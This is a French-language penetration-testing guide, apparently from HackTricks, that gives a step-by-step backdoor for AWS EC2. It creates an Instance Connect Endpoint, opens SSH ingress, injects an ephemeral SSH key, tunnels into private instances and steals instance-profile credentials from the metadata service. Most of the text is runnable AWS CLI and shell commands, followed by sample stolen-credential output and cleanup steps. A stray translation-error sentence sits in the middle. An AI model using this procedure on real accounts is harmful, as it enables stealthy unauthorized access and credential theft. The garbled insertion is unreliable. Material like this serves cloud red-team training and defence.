# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection {{#include ../../../../banners/hacktricks-training.md}} Abuser EC2 Instance Connect Endpoint (EIC Endpoint) pour obtenir un accès SSH entrant vers des instances EC2 privées (sans IP publique/bastion) en : - Créer un EIC Endpoint dans le subnet cible - Autoriser SSH entrant sur le SG cible depuis le SG de l'EIC Endpoint - Injection d'une clé publique SSH éphémère (valide ~60 secondes) avec `ec2-instance-connect:SendSSHPublicKey` - Ouvrir un tunnel EIC et pivoting vers l'instance pour voler les credentials de l'instance profile depuis IMDS Impact : chemin d'accès distant furtif vers des instances EC2 privées qui contourne les bastions et les restrictions d'IP publique. L'attaquant peut assumer l'instance profile et opérer dans le compte. ## Exigences - Permissions pour : - `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` - `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` - Instance Linux cible avec serveur SSH et EC2 Instance Connect activé (Amazon Linux 2 ou Ubuntu 20.04+). Utilisateurs par défaut : `ec2-user` (AL2) ou `ubuntu` (Ubuntu). ## Variables ```bash export REGION=us-east-1 export INSTANCE_ID= export SUBNET_ID= export VPC_ID= export TARGET_SG_ID= export ENDPOINT_SG_ID= # OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) export OS_USER=ec2-user ``` ## Créer un point de terminaison EIC ```bash aws ec2 create-instance-connect-endpoint \ --subnet-id "$SUBNET_ID" \ --security-group-ids "$ENDPOINT_SG_ID" \ --tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ --region "$REGION" \ --query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID # Wait until ready while true; do aws ec2 describe-instance-connect-endpoints \ --instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ --query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE grep -q 'create-complete' EIC_STATE && break sleep 5 done ``` ## Autoriser le trafic de l'EIC Endpoint vers l'instance cible ```bash aws ec2 authorize-security-group-ingress \ --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true ``` ## Injecter une clé SSH éphémère et ouvrir un tunnel ```bash # Generate throwaway key ssh-keygen -t ed25519 -f /tmp/eic -N '' # Send short-lived SSH pubkey (valid ~60s) aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "$OS_USER" \ --ssh-public-key file:///tmp/eic.pub \ --region "$REGION" # Open a local tunnel to instance:22 via the EIC Endpoint aws ec2-instance-connect open-tunnel \ --instance-id "$INSTANCE_ID" \ --instance-connect-endpoint-id "$(cat EIC_ID)" \ --local-port 2222 --remote-port 22 --region "$REGION" & TUN_PID=$!; sleep 2 # SSH via the tunnel (within the 60s window) ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no ``` ## Preuve de Post-exploitation (steal instance profile credentials) ```bash # From the shell inside the instance curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) ``` Je n'ai pas reçu le contenu à traduire. Veuillez coller le texte du fichier src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ici. ```json { "Code": "Success", "AccessKeyId": "ASIA...", "SecretAccessKey": "w0G...", "Token": "IQoJ...", "Expiration": "2025-10-08T04:09:52Z" } ``` Utilisez les creds volés localement pour vérifier l'identité : ```bash export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= aws sts get-caller-identity --region "$REGION" # => arn:aws:sts:::assumed-role// ``` ## Nettoyage ```bash # Revoke SG ingress on the target aws ec2 revoke-security-group-ingress \ --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true # Delete EIC Endpoint aws ec2 delete-instance-connect-endpoint \ --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" ``` > Remarques > - La clé SSH injectée n'est valide qu'environ ~60 secondes ; envoyez la clé juste avant d'ouvrir le tunnel/SSH. > - `OS_USER` doit correspondre à l'AMI (par ex., `ubuntu` pour Ubuntu, `ec2-user` pour Amazon Linux 2).